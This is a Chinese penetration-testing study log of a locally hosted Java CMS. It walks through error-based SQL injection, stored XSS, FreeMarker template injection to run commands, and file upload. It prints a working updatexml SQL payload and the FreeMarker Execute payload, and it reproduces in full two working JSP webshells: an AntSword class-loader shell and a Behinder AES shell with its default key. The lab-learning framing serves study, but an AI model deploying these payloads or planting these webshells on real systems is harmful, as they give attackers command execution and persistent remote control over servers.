这里因为本地借助idea搭建了环境,这里直接借助渗透测试来学习下一些常见的javaweb的操作,主要是用来熟悉各种漏洞利用及其类型。
一、sql注入
说好的报错注入:update of_cms_link set link_name=updatexml(1,concat(0x7e,(user())),0) where link_id = 4
抓包看了下发现和网上说的一样,确实把user打印出来了:
看到是create方法,后台定位下逻辑:
可以看到创建表的逻辑结构:
这里重点看下有没有对sql参数做一些常见的过滤,可以发现并没有:
也就是我们可以直接构造sql语句,一路跟一下update:
直接好家伙,是预编译,但是因为我们可以控制整条sql语句啊,所以这里预编译相当于白给。
二、存储型xss攻击
我们看到前台有评论功能:
只要有用户输入再回显的地方,都要测试下xss漏洞,立马抓包看看:
这里spring架构的已经知道怎么定位到后台代码了,只需要把根目录下后面的url中的/转成.即可知道调用接口:(或者直接复制进来即可)
分析这个评论的代码逻辑可知:
getParamsMap函数是用来获取用户提交的所有参数的,获取到所有参数后就调用update更新到数据库中,同时并没有对评论的内容做任何的处理,应此可以直接xss攻击成功,但是这里不允许ip访问属实把我整懵逼了,因为浏览器本身可能不支持直接发送payload,我们直接encode成url编码格式:
接着发送过去:
三、SSTI模板注入
在查看pom.xml文件的时候发现存在模版引擎freemarker的包依赖信息,该模版引擎是存在模版注入的
在管理后台提供了修改模板文件的功能:
抓包:
IDEA双击shift进入搜索,输入抓包的路径名:admin/cms/template/save
这里通过分析同样发现并没有进行输入的过滤操作,存在命令注入的问题,这里涉及到freemark的模板注入漏洞,先自行脑补下这个漏洞原理,再回来看这里就知道怎么利用了,这是模板注入的通用poc:<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
Execute类
按照官方描述,我们可以调用exec()函数(TemplateModel的入口方法)。通过其设计,Execute类允许我们执行命令并以字符串的形式获得命令执行结果。看下效果:
发现确实触发了命令执行,但是啊不够直观,mac下直接弹计算器这样:<#assign ex="freemarker.template.utility.Execute"?new()>
${ ex("open /System/Applications/Calculator.app")}
现在从头学习下为啥能命令执行?先看下这个Excute类继承了接口TemplateMathodModel,最后调用的是Runtime.getRuntime().exec()就知道为啥可以命令执行了,也可以自己下断点跟一下完整的调用链。
四、文件上传
这里利用前面那个漏洞进行文件上传操作:
然后这个webshell是从github拖下来的:
但是中国蚁剑连不上,离谱,目前还在排查原因:
最后菜鸡发现,马还是得和工具适配,我得找个蚁剑能解析的马,然后找到后重新上传,记得url编码一下,再次连就完事了:
上蚁剑:
这里记录下这个马:
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName(“sun.misc.BASE64Decoder”);
return (byte[]) clazz.getMethod(“decodeBuffer”, String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName(“java.util.Base64”);
Object decoder = clazz.getMethod(“getDecoder”).invoke(null);
return (byte[]) decoder.getClass().getMethod(“decode”, String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter(“passwd”);
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
做个冰蝎也连一下吧,手动做个冰蝎的app:
然后马是下面这个:
<%@page import=”java.util.,javax.crypto.,javax.crypto.spec.“%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals(“POST”)){String k=”e45e329feb5d925b”;/该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue(“u”,k);Cipher c=Cipher.getInstance(“AES”);c.init(2,new SecretKeySpec(k.getBytes(),”AES”));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>